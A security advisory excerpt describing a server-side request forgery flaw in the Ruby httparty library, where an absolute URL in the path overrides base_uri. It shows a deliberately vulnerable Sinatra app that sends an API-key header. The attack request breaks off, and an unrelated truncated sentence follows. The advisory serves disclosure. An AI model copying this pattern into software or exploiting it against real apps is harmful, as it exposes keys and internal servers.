## Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. ## Details When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate. Consider the following example of a web application: ```rb require 'sinatra' require 'httparty' class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end ``` Now, suppose an attacker sends a request like this: ``` POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json { ...

The real danger now isn’t just one major attack, but hundreds of quiet ones using the software and devices already inside our networks. Each trusted system can
